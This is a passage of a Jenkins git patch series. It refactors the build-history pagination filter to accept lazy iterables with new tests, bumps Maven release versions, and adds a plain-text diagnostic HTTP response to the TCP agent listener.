model object that owns this widget. */ public HistoryWidget(O owner, Iterable baseList, Adapter adapter) { - StaplerRequest currentRequest = Stapler.getCurrentRequest(); + StaplerRequest currentRequest = Stapler.getCurrentRequest(); this.adapter = adapter; this.baseList = baseList; this.baseUrl = Functions.getNearestAncestorUrl(currentRequest,owner); @@ -148,15 +147,15 @@ public class HistoryWidget extends Widget { Iterator iterator = historyItemList.iterator(); if (!iterator.hasNext()) { - return Collections.EMPTY_LIST; + return Collections.emptyList(); } List> pageEntries = new ArrayList>(); while (iterator.hasNext()) { - pageEntries.add(new HistoryPageEntry(iterator.next())); + pageEntries.add(new HistoryPageEntry(iterator.next())); } - return pageEntries; + return pageEntries; } /** @@ -165,7 +164,7 @@ public class HistoryWidget extends Widget { public HistoryPageFilter getHistoryPageFilter() { HistoryPageFilter historyPageFilter = newPageFilter(); - historyPageFilter.add(IteratorUtils.toList(baseList.iterator())); + historyPageFilter.add(baseList); historyPageFilter.widget = this; return historyPageFilter; } diff --git a/core/src/main/java/jenkins/widgets/HistoryPageFilter.java b/core/src/main/java/jenkins/widgets/HistoryPageFilter.java index 6101916958..bc350c6ee4 100644 --- a/core/src/main/java/jenkins/widgets/HistoryPageFilter.java +++ b/core/src/main/java/jenkins/widgets/HistoryPageFilter.java @@ -23,6 +23,8 @@ */ package jenkins.widgets; +import com.google.common.collect.Iterables; +import com.google.common.collect.Iterators; import hudson.model.Job; import hudson.model.Queue; import hudson.model.Run; @@ -32,6 +34,8 @@ import javax.annotation.Nonnull; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; +import java.util.Iterator; +import java.util.LinkedList; import java.util.List; /** @@ -101,85 +105,116 @@ public class HistoryPageFilter { /** * Add build items to the History page. * - * @param items The items to be added. Assumes the list of items are in descending queue ID order i.e. newest first. + * @param runItems The items to be added. Assumes the items are in descending queue ID order i.e. newest first. + * @deprecated Replaced by add(Iterable<T>) as of version 2.15 */ - public void add(@Nonnull List items) { - if (items.isEmpty()) { + @Deprecated + public void add(@Nonnull List runItems) { + addInternal(runItems); + } + + /** + * Add build items to the History page. + * + * @param runItems The items to be added. Assumes the items are in descending queue ID order i.e. newest first. + * @since TODO + */ + public void add(@Nonnull Iterable runItems) { + addInternal(runItems); + } + + /** + * Add run items and queued items to the History page. + * + * @param runItems The items to be added. Assumes the items are in descending queue ID order i.e. newest first. + * @param queueItems The queue items to be added. Queue items do not need to be sorted. + * @since TODO + */ + public void add(@Nonnull Iterable runItems, @Nonnull List queueItems) { + sort(queueItems); + addInternal(Iterables.concat(queueItems, runItems)); + } + + /** + * Add items to the History page, internal implementation. + * @param items The items to be added. + * @param The type of items should either be T or Queue.Item. + */ + private void addInternal(@Nonnull Iterable items) { + // Note that items can be a large lazily evaluated collection, + // so this method is optimized to only iterate through it as much as needed. + + if (!items.iterator().hasNext()) { return; } - sort(items); - - nextBuildNumber = getNextBuildNumber(items.get(0)); + nextBuildNumber = getNextBuildNumber(items.iterator().next()); if (newerThan == null && olderThan == null) { // Just return the first page of entries (newest) - for (T item : items) { - add(item); + Iterator iter = items.iterator(); + while (iter.hasNext()) { + add(iter.next()); if (isFull()) { break; } } - hasDownPage = (items.size() > maxEntries); + hasDownPage = iter.hasNext(); } else if (newerThan != null) { int toFillCount = getFillCount(); if (toFillCount > 0) { - // Locate the point in the items list where the 'newerThan' build item is. Once located, - // add a max of 'getFillCount' build items before that build item. - long newestInList = HistoryPageEntry.getEntryId(items.get(0)); - long oldestInList = HistoryPageEntry.getEntryId(items.get(items.size() - 1)); - int newerThanIdx = -1; - - if (newerThan > newestInList) { - // Nothing newer - } else if (newerThan >= oldestInList) { - // newerThan is within the range of items in the item list. - // go through the list and locate the cut-off point. - for (int i = 0; i < items.size(); i++) { - T item = items.get(i); - if (HistoryPageEntry.getEntryId(item) <= newerThan) { - newerThanIdx = i; - break; - } - } - } else if (newerThan < oldestInList) { - newerThanIdx = items.size(); - } - - if (newerThanIdx != -1) { - if (newerThanIdx <= maxEntries) { - // If there's less than a full page of items newer than "newerThan", then it's ok to - // fill the page with items older than "newerThan". - int itemCountToAdd = Math.min(toFillCount, items.size()); - for (int i = 0; i < itemCountToAdd; i++) { - add(items.get(i)); + // Walk through the items and keep track of the oldest + // 'toFillCount' items until we reach an item older than + // 'newerThan' or the end of the list. + LinkedList itemsToAdd = new LinkedList<>(); + Iterator iter = items.iterator(); + while (iter.hasNext()) { + ItemT item = iter.next(); + if (HistoryPageEntry.getEntryId(item) > newerThan) { + itemsToAdd.addLast(item); + + // Discard an item off the front of the list if we have + // to (which means we would be able to page up). + if (itemsToAdd.size() > toFillCount) { + itemsToAdd.removeFirst(); + hasUpPage = true; } } else { - // There's more than a full page of items newer than "newerThan". - for (int i = (newerThanIdx - toFillCount); i < newerThanIdx; i++) { - add(items.get(i)); - } - hasUpPage = true; + break; } - // if there are items after the "newerThan" item, then we - // can page down. - hasDownPage = (items.size() > newerThanIdx + 1); - } else { + } + if (itemsToAdd.size() == 0) { // All builds are older than newerThan ? hasDownPage = true; + } else { + // If there's less than a full page of items newer than + // 'newerThan', then it's ok to fill the page with older items. + if (itemsToAdd.size() < toFillCount) { + // We have to restart the iterator and skip the items that we added (because + // we may have popped an extra item off the iterator that did not get added). + Iterator skippedIter = items.iterator(); + Iterators.skip(skippedIter, itemsToAdd.size()); + for (int i = itemsToAdd.size(); i < toFillCount && skippedIter.hasNext(); i++) { + ItemT item = skippedIter.next(); + itemsToAdd.addLast(item); + } + } + hasDownPage = iter.hasNext(); + for (Object item : itemsToAdd) { + add(item); + } } } } else if (olderThan != null) { - for (int i = 0; i < items.size(); i++) { - T item = items.get(i); + Iterator iter = items.iterator(); + while (iter.hasNext()) { + Object item = iter.next(); if (HistoryPageEntry.getEntryId(item) >= olderThan) { hasUpPage = true; } else { add(item); if (isFull()) { - // This page is full but there may be more builds older - // than the oldest on this page. - hasDownPage = (i + 1 < items.size()); + hasDownPage = iter.hasNext(); break; } } @@ -191,13 +226,13 @@ public class HistoryPageFilter { return queueItems.size() + runs.size(); } - private void sort(List items) { + private void sort(List items) { // Queue items can start building out of order with how they got added to the queue. Sorting them // before adding to the page. They'll still get displayed before the building items coz they end // up in a different list in HistoryPageFilter. - Collections.sort(items, new Comparator() { + Collections.sort(items, new Comparator() { @Override - public int compare(T o1, T o2) { + public int compare(Object o1, Object o2) { long o1QID = HistoryPageEntry.getEntryId(o1); long o2QID = HistoryPageEntry.getEntryId(o2); @@ -212,7 +247,7 @@ public class HistoryPageFilter { }); } - private long getNextBuildNumber(@Nonnull T entry) { + private long getNextBuildNumber(@Nonnull Object entry) { if (entry instanceof Queue.Item) { Queue.Task task = ((Queue.Item) entry).task; if (task instanceof Job) { @@ -227,13 +262,19 @@ public class HistoryPageFilter { } private void addQueueItem(Queue.Item item) { - HistoryPageEntry entry = new HistoryPageEntry(item); + HistoryPageEntry entry = new HistoryPageEntry<>(item); queueItems.add(entry); updateNewestOldest(entry.getEntryId()); } private void addRun(Run run) { - HistoryPageEntry entry = new HistoryPageEntry(run); + HistoryPageEntry entry = new HistoryPageEntry<>(run); + // Assert that runs have been added in descending order + if (runs.size() > 0) { + if (entry.getEntryId() > runs.get(runs.size() - 1).getEntryId()) { + throw new IllegalStateException("Runs were out of order"); + } + } runs.add(entry); updateNewestOldest(entry.getEntryId()); } @@ -243,7 +284,7 @@ public class HistoryPageFilter { oldestOnPage = Math.min(oldestOnPage, entryId); } - private boolean add(T entry) { + private boolean add(Object entry) { // Purposely not calling isFull(). May need to add a greater number of entries // to the page initially, newerThan then cutting it back down to size using cutLeading() if (entry instanceof Queue.Item) { diff --git a/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java b/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java index 79582a4c02..f00969b769 100644 --- a/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java +++ b/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java @@ -26,6 +26,7 @@ package jenkins.widgets; import hudson.model.Job; import hudson.model.MockItem; import hudson.model.ModelObject; +import hudson.model.Queue; import hudson.model.Result; import hudson.model.Run; import jenkins.widgets.HistoryPageEntry; @@ -49,7 +50,7 @@ public class HistoryPageFilterTest { @Test public void test_latest_empty_page() { HistoryPageFilter historyPageFilter = newPage(5, null, null); - List itemList = new ArrayList(); + List itemList = new ArrayList<>(); historyPageFilter.add(itemList); Assert.assertEquals(false, historyPageFilter.hasUpPage); @@ -64,15 +65,10 @@ public class HistoryPageFilterTest { @Test public void test_latest_partial_page() throws IOException { HistoryPageFilter historyPageFilter = newPage(5, null, null); - List itemList = new ArrayList(); + List runs = newRuns(1, 2); + List queueItems = newQueueItems(3, 4); - itemList.addAll(newRuns(1, 2)); - itemList.addAll(newQueueItems(3, 4)); - - // want to make sure the list items are ordered by id in descending order - Assert.assertEquals(HistoryPageEntry.getEntryId(1), HistoryPageEntry.getEntryId(itemList.get(0))); - historyPageFilter.add(itemList); - Assert.assertEquals(4, HistoryPageEntry.getEntryId(itemList.get(0))); + historyPageFilter.add(runs, queueItems); Assert.assertEquals(false, historyPageFilter.hasUpPage); Assert.assertEquals(false, historyPageFilter.hasDownPage); @@ -93,12 +89,10 @@ public class HistoryPageFilterTest { @Test public void test_latest_longer_list() throws IOException { HistoryPageFilter historyPageFilter = newPage(5, null, null); - List itemList = new ArrayList(); - - itemList.addAll(newRuns(1, 10)); - itemList.addAll(newQueueItems(11, 12)); + List runs = newRuns(1, 10); + List queueItems = newQueueItems(11, 12); - historyPageFilter.add(itemList); + historyPageFilter.add(runs, queueItems); Assert.assertEquals(false, historyPageFilter.hasUpPage); Assert.assertEquals(true, historyPageFilter.hasDownPage); @@ -117,9 +111,8 @@ public class HistoryPageFilterTest { @Test public void test_olderThan_gt_newest() throws IOException { HistoryPageFilter historyPageFilter = newPage(5, null, 11L); - List itemList = new ArrayList(); + List itemList = newRuns(1, 10); - itemList.addAll(newRuns(1, 10)); historyPageFilter.add(itemList); Assert.assertEquals(false, historyPageFilter.hasUpPage); @@ -137,9 +130,8 @@ public class HistoryPageFilterTest { @Test public void test_olderThan_lt_oldest() throws IOException { HistoryPageFilter historyPageFilter = newPage(5, null, 0L); - List itemList = new ArrayList(); + List itemList = newRuns(1, 10); - itemList.addAll(newRuns(1, 10)); historyPageFilter.add(itemList); Assert.assertEquals(true, historyPageFilter.hasUpPage); @@ -154,9 +146,8 @@ public class HistoryPageFilterTest { @Test public void test_olderThan_leaving_part_page() throws IOException { HistoryPageFilter historyPageFilter = newPage(5, null, 4L); - List itemList = new ArrayList(); + List itemList = newRuns(1, 10); - itemList.addAll(newRuns(1, 10)); historyPageFilter.add(itemList); Assert.assertEquals(true, historyPageFilter.hasUpPage); @@ -175,9 +166,8 @@ public class HistoryPageFilterTest { @Test public void test_olderThan_mid_page() throws IOException { HistoryPageFilter historyPageFilter = newPage(5, null, 8L); - List itemList = new ArrayList(); + List itemList = newRuns(1, 10); - itemList.addAll(newRuns(1, 10)); historyPageFilter.add(itemList); Assert.assertEquals(true, historyPageFilter.hasUpPage); @@ -194,9 +184,8 @@ public class HistoryPageFilterTest { @Test public void test_newerThan_gt_newest() throws IOException { HistoryPageFilter historyPageFilter = newPage(5, 11L, null); - List itemList = new ArrayList(); + List itemList = newRuns(1, 10); - itemList.addAll(newRuns(1, 10)); historyPageFilter.add(itemList); Assert.assertEquals(false, historyPageFilter.hasUpPage); @@ -211,9 +200,8 @@ public class HistoryPageFilterTest { @Test public void test_newerThan_lt_oldest() throws IOException { HistoryPageFilter historyPageFilter = newPage(5, 0L, null); - List itemList = new ArrayList(); + List itemList = newRuns(1, 10); - itemList.addAll(newRuns(1, 10)); historyPageFilter.add(itemList); Assert.assertEquals(true, historyPageFilter.hasUpPage); @@ -230,9 +218,8 @@ public class HistoryPageFilterTest { @Test public void test_newerThan_near_oldest() throws IOException { HistoryPageFilter historyPageFilter = newPage(5, 3L, null); - List itemList = new ArrayList(); + List itemList = newRuns(1, 10); - itemList.addAll(newRuns(1, 10)); historyPageFilter.add(itemList); Assert.assertEquals(true, historyPageFilter.hasUpPage); @@ -251,9 +238,51 @@ public class HistoryPageFilterTest { @Test public void test_newerThan_near_newest() throws IOException { HistoryPageFilter historyPageFilter = newPage(5, 8L, null); - List itemList = new ArrayList(); + List itemList = newRuns(1, 10); + + historyPageFilter.add(itemList); + + Assert.assertEquals(false, historyPageFilter.hasUpPage); + Assert.assertEquals(true, historyPageFilter.hasDownPage); + Assert.assertEquals(5, historyPageFilter.runs.size()); + + Assert.assertEquals(HistoryPageEntry.getEntryId(10), historyPageFilter.newestOnPage); + Assert.assertEquals(HistoryPageEntry.getEntryId(6), historyPageFilter.oldestOnPage); + } + + /** + * Test newerThan (page up) mid range when there are queued builds that are new enough to + * not show up. + */ + @Test + public void test_newerThan_doesntIncludeQueuedItems() throws IOException { + HistoryPageFilter historyPageFilter = newPage(5, 5L, null); + List runs = newRuns(1, 10); + List queueItems = newQueueItems(11, 12); + + historyPageFilter.add(runs, queueItems); + + Assert.assertEquals(true, historyPageFilter.hasUpPage); + Assert.assertEquals(true, historyPageFilter.hasDownPage); + Assert.assertEquals(0, historyPageFilter.queueItems.size()); + Assert.assertEquals(5, historyPageFilter.runs.size()); + + Assert.assertEquals(HistoryPageEntry.getEntryId(10), historyPageFilter.runs.get(0).getEntryId()); + Assert.assertEquals(HistoryPageEntry.getEntryId(10), historyPageFilter.newestOnPage); + Assert.assertEquals(HistoryPageEntry.getEntryId(6), historyPageFilter.oldestOnPage); + } + + /** + * Test that later items in the list that are not needed for display are not evaluated at all (for performance). + */ + @Test + public void test_laterItemsNotEvaluated() throws IOException { + HistoryPageFilter historyPageFilter = newPage(5, null, null); + List itemList = newRuns(6, 10); + for (int queueId = 5; queueId >= 1; queueId--) { + itemList.add(new ExplodingMockRun(queueId)); + } - itemList.addAll(newRuns(1, 10)); historyPageFilter.add(itemList); Assert.assertEquals(false, historyPageFilter.hasUpPage); @@ -264,8 +293,8 @@ public class HistoryPageFilterTest { Assert.assertEquals(HistoryPageEntry.getEntryId(6), historyPageFilter.oldestOnPage); } - private List newQueueItems(long startId, long endId) { - List items = new ArrayList(); + private List newQueueItems(long startId, long endId) { + List items = new ArrayList<>(); for (long queueId = startId; queueId <= endId; queueId++) { items.add(new MockItem(queueId)); } @@ -273,15 +302,16 @@ public class HistoryPageFilterTest { } private List newRuns(long startId, long endId) throws IOException { - List runs = new ArrayList(); - for (long queueId = startId; queueId <= endId; queueId++) { + // Runs should be in reverse order, newest first. + List runs = new ArrayList<>(); + for (long queueId = endId; queueId >= startId; queueId--) { runs.add(new MockRun(queueId)); } return runs; } private HistoryPageFilter newPage(int maxEntries, Long newerThan, Long olderThan) { - HistoryPageFilter pageFilter = new HistoryPageFilter(maxEntries); + HistoryPageFilter pageFilter = new HistoryPageFilter<>(maxEntries); if (newerThan != null) { pageFilter.setNewerThan(HistoryPageEntry.getEntryId(newerThan)); } else if (olderThan != null) { @@ -324,4 +354,23 @@ public class HistoryPageFilterTest { return (int) queueId; } } + + // A version of MockRun that will throw an exception if getQueueId or getNumber is called + private static class ExplodingMockRun extends MockRun { + public ExplodingMockRun(long queueId) throws IOException { + super(queueId); + } + + @Override + public long getQueueId() { + Assert.fail("Should not get called"); + return super.getQueueId(); + } + + @Override + public int getNumber() { + Assert.fail("Should not get called"); + return super.getNumber(); + } + } } -- GitLab From bd7bae8c26025bf8278b39bc4944599f2a9da90f Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Thu, 4 Aug 2016 10:42:28 -0700 Subject: [PATCH 190/811] [maven-release-plugin] prepare release jenkins-2.7.2 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index bcc8ef32a9..d0a31fdd5c 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.7.2-SNAPSHOT + 2.7.2 cli diff --git a/core/pom.xml b/core/pom.xml index 8906f6ce33..4a90848a03 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.2-SNAPSHOT + 2.7.2 jenkins-core diff --git a/pom.xml b/pom.xml index 6f7835eeac..d30c5c188a 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.2-SNAPSHOT + 2.7.2 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.7.2 diff --git a/test/pom.xml b/test/pom.xml index 378d20339b..7c50bda94e 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.2-SNAPSHOT + 2.7.2 test diff --git a/war/pom.xml b/war/pom.xml index ef7525da0c..c8d7427077 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.2-SNAPSHOT + 2.7.2 jenkins-war -- GitLab From 56adf58a97e11f63440597badf41cadb0aff4ec1 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Thu, 4 Aug 2016 10:42:28 -0700 Subject: [PATCH 191/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index d0a31fdd5c..3b561518b4 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.7.2 + 2.7.3-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 4a90848a03..a3efbaa2e0 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.2 + 2.7.3-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index d30c5c188a..f0a6b135aa 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.2 + 2.7.3-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.7.2 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 7c50bda94e..5d6e742f83 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.2 + 2.7.3-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index c8d7427077..da4db53cba 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.2 + 2.7.3-SNAPSHOT jenkins-war -- GitLab From 172df6a7dfca56477c471c381687599c80f5113b Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Fri, 5 Aug 2016 12:59:40 -0700 Subject: [PATCH 192/811] [FIXED JENKINS-37223] Added a simple diagnostic HTTP response to the TcpSlaveAgentListener. --- .../java/hudson/TcpSlaveAgentListener.java | 61 ++++++++++++++++++- .../hudson/TcpSlaveAgentListenerTest.java | 27 +++++++- 2 files changed, 85 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/hudson/TcpSlaveAgentListener.java b/core/src/main/java/hudson/TcpSlaveAgentListener.java index c01f711406..8426d99e1f 100644 --- a/core/src/main/java/hudson/TcpSlaveAgentListener.java +++ b/core/src/main/java/hudson/TcpSlaveAgentListener.java @@ -23,6 +23,9 @@ */ package hudson; +import java.io.ByteArrayInputStream; +import java.io.SequenceInputStream; +import java.io.Writer; import java.nio.charset.Charset; import java.security.interfaces.RSAPublicKey; import javax.annotation.Nullable; @@ -50,7 +53,9 @@ import java.nio.channels.ServerSocketChannel; import java.util.logging.Level; import java.util.logging.Logger; import org.apache.commons.codec.binary.Base64; +import org.apache.commons.io.Charsets; import org.apache.commons.io.IOUtils; +import org.apache.commons.io.output.NullOutputStream; import org.apache.commons.lang.StringUtils; /** @@ -202,7 +207,19 @@ public final class TcpSlaveAgentListener extends Thread { new BufferedWriter(new OutputStreamWriter(s.getOutputStream(),"UTF-8")), true); // DEPRECATED: newer protocol shouldn't use PrintWriter but should use DataOutputStream - String s = in.readUTF(); + // peek the first few bytes to determine what to do with this client + byte[] head = new byte[10]; + in.readFully(head); + + String header = new String(head, Charsets.US_ASCII); + if (header.startsWith("GET ")) { + // this looks like an HTTP client + respondHello(header,s); + return; + } + + // otherwise assume this is AgentProtocol and start from the beginning + String s = new DataInputStream(new SequenceInputStream(new ByteArrayInputStream(head),in)).readUTF(); if(s.startsWith("Protocol:")) { String protocol = s.substring(9); @@ -235,6 +252,48 @@ public final class TcpSlaveAgentListener extends Thread { } } + /** + * Respond to HTTP request with simple diagnostics. + * Primarily used to test the low-level connectivity. + */ + private void respondHello(String header, Socket s) throws IOException { + try { + Writer o = new OutputStreamWriter(s.getOutputStream(), "UTF-8"); + + if (header.startsWith("GET / ")) { + o.write("HTTP/1.0 200 OK\n"); + o.write("Content-Type: text/plain;charset=UTF-8\n"); + o.write("\n"); + o.write("Jenkins-Agent-Protocols: "); + boolean first = true; + for (AgentProtocol p : AgentProtocol.all()) { + if (first) first = false; + else o.write(","); + o.write(p.getName()); + } + o.write("\n"); + o.write("Jenkins-Version: " + Jenkins.VERSION + "\n"); + o.write("Jenkins-Session: " + Jenkins.SESSION_HASH + "\n"); + o.write("Client: " + s.getInetAddress().getHostAddress() + "\n"); + o.flush(); + s.shutdownOutput(); + } else { + o.write("HTTP/1.0 404 Not Found\n"); + o.write("Content-Type: text/plain;charset=UTF-8\n"); + o.write("\n"); + o.write("Not Found\n"); + o.flush(); + s.shutdownOutput(); + } + + InputStream i = s.getInputStream(); + IOUtils.copy(i, new NullOutputStream()); + s.shutdownInput(); + } finally { + s.close(); + } + } + private void error(PrintWriter out, String msg) throws IOException { out.println(msg); LOGGER.log(Level.WARNING,"Connection #"+id+" is aborted: "+msg); diff --git a/test/src/test/java/hudson/TcpSlaveAgentListenerTest.java b/test/src/test/java/hudson/TcpSlaveAgentListenerTest.java index 596836c961..25bf75d9d4 100644 --- a/test/src/test/java/hudson/TcpSlaveAgentListenerTest.java +++ b/test/src/test/java/hudson/TcpSlaveAgentListenerTest.java @@ -2,8 +2,11 @@ package hudson; import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; import com.gargoylesoftware.htmlunit.Page; +import com.gargoylesoftware.htmlunit.TextPage; import com.gargoylesoftware.htmlunit.html.HtmlPage; import hudson.remoting.Base64; + +import java.io.IOException; import java.security.KeyFactory; import java.security.KeyPair; import java.security.KeyPairGenerator; @@ -14,14 +17,17 @@ import java.security.interfaces.RSAPublicKey; import java.security.spec.InvalidKeySpecException; import java.security.spec.PKCS8EncodedKeySpec; import javax.annotation.Nullable; + +import jenkins.model.Jenkins; import jenkins.model.identity.InstanceIdentityProvider; +import jenkins.security.security218.ysoserial.ExecBlockingSecurityManager.ExecException; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.JenkinsRule.WebClient; import org.jvnet.hudson.test.TestExtension; -import static org.hamcrest.Matchers.is; -import static org.hamcrest.Matchers.notNullValue; +import static org.hamcrest.Matchers.*; import static org.junit.Assert.assertThat; import static org.junit.Assert.fail; @@ -43,4 +49,21 @@ public class TcpSlaveAgentListenerTest { Page p = r.createWebClient().goTo("tcpSlaveAgentListener", "text/plain"); assertThat(p.getWebResponse().getResponseHeaderValue("X-Instance-Identity"), notNullValue()); } + + @Test + public void diagnostics() throws Exception { + r.getInstance().setSlaveAgentPort(0); + int p = r.jenkins.getTcpSlaveAgentListener().getPort(); + WebClient wc = r.createWebClient(); + TextPage text = (TextPage) wc.getPage("http://localhost:"+p+"/"); + String c = text.getContent(); + assertThat(c,containsString(Jenkins.VERSION)); + + try { + wc.getPage("http://localhost:"+p+"/xxx"); + fail("Expected 404"); + } catch (FailingHttpStatusCodeException e) { + assertThat(e.getStatusCode(),equalTo(404)); + } + } } -- GitLab From 341ed725c751dbed7109a0c9230478cdf53f08c5 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Fri, 5 Aug 2016 16:19:24 -0700 Subject: [PATCH 193/811] CR/LF --- .../java/hudson/TcpSlaveAgentListener.java | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/core/src/main/java/hudson/TcpSlaveAgentListener.java b/core/src/main/java/hudson/TcpSlaveAgentListener.java index 8426d99e1f..152eb1bf46 100644 --- a/core/src/main/java/hudson/TcpSlaveAgentListener.java +++ b/core/src/main/java/hudson/TcpSlaveAgentListener.java @@ -261,9 +261,9 @@ public final class TcpSlaveAgentListener extends Thread { Writer o = new OutputStreamWriter(s.getOutputStream(), "UTF-8"); if (header.startsWith("GET / ")) { - o.write("HTTP/1.0 200 OK\n"); - o.write("Content-Type: text/plain;charset=UTF-8\n"); - o.write("\n"); + o.write("HTTP/1.0 200 OK\r\n"); + o.write("Content-Type: text/plain;charset=UTF-8\r\n"); + o.write("\r\n"); o.write("Jenkins-Agent-Protocols: "); boolean first = true; for (AgentProtocol p : AgentProtocol.all()) { @@ -271,17 +271,17 @@ public final class TcpSlaveAgentListener extends Thread { else o.write(","); o.write(p.getName()); } - o.write("\n"); - o.write("Jenkins-Version: " + Jenkins.VERSION + "\n"); - o.write("Jenkins-Session: " + Jenkins.SESSION_HASH + "\n"); - o.write("Client: " + s.getInetAddress().getHostAddress() + "\n"); + o.write("\r\n"); + o.write("Jenkins-Version: " + Jenkins.VERSION + "\r\n"); + o.write("Jenkins-Session: " + Jenkins.SESSION_HASH + "\r\n"); + o.write("Client: " + s.getInetAddress().getHostAddress() + "\r\n"); o.flush(); s.shutdownOutput(); } else { - o.write("HTTP/1.0 404 Not Found\n"); - o.write("Content-Type: text/plain;charset=UTF-8\n"); - o.write("\n"); - o.write("Not Found\n"); + o.write("HTTP/1.0 404 Not Found\r\n"); + o.write("Content-Type: text/plain;charset=UTF-8\r\n"); + o.write("\r\n"); + o.write("Not Found\r\n"); o.flush(); s.shutdownOutput(); } -- GitLab From 57846475f7bd270ea9624144bbd54447ff47dedb Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Fri, 5 Aug 2016 16:22:45 -0700 Subject: [PATCH 194/811] [JENKINS-37223] report the server's address, too --- core/src/main/java/hudson/TcpSlaveAgentListener.java | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/java/hudson/TcpSlaveAgentListener.java b/core/src/main/java/hudson/TcpSlaveAgentListener.java index 152eb1bf46..8ccabdf00d 100644 --- a/core/src/main/java/hudson/TcpSlaveAgentListener.java +++ b/core/src/main/java/hudson/TcpSlaveAgentListener.java @@ -275,6 +275,7 @@ public final class TcpSlaveAgentListener extends Thread { o.write("Jenkins-Version: " + Jenkins.VERSION + "\r\n"); o.write("Jenkins-Session: " + Jenkins.SESSION_HASH + "\r\n"); o.write("Client: " + s.getInetAddress().getHostAddress() + "\r\n"); + o.write("Server: " + s.getLocalAddress().getHostAddress() + "\r\n"); o.flush(); s.shutdownOutput(); } else { -- GitLab From 69866d70a6e3e92ec32e8177fe7e1fd7f47cd6f2 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Fri, 5 Aug 2016 22:53:01 -0700 Subject: [PATCH 195/811] [maven-release-plugin] prepare release jenkins-2.17 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 21ba2f46cf..b9e7918079 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.17-SNAPSHOT + 2.17 cli diff --git a/core/pom.xml b/core/pom.xml index db5de4ddbe..33bec50c05 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.17-SNAPSHOT + 2.17 jenkins-core diff --git a/pom.xml b/pom.xml index f08880f729..8c98943a12 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.17-SNAPSHOT + 2.17 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.17 diff --git a/test/pom.xml b/test/pom.xml index b49ef5f918..e4dde9ca9d 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.17-SNAPSHOT + 2.17 test diff --git a/war/pom.xml b/war/pom.xml index 975f838c15..434b60dab0 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.17-SNAPSHOT + 2.17 jenkins-war -- GitLab From 1aac2f6883aec590898f62e32d38d674b10426e8 Mon Sep 17 00:00:00 2001 From: 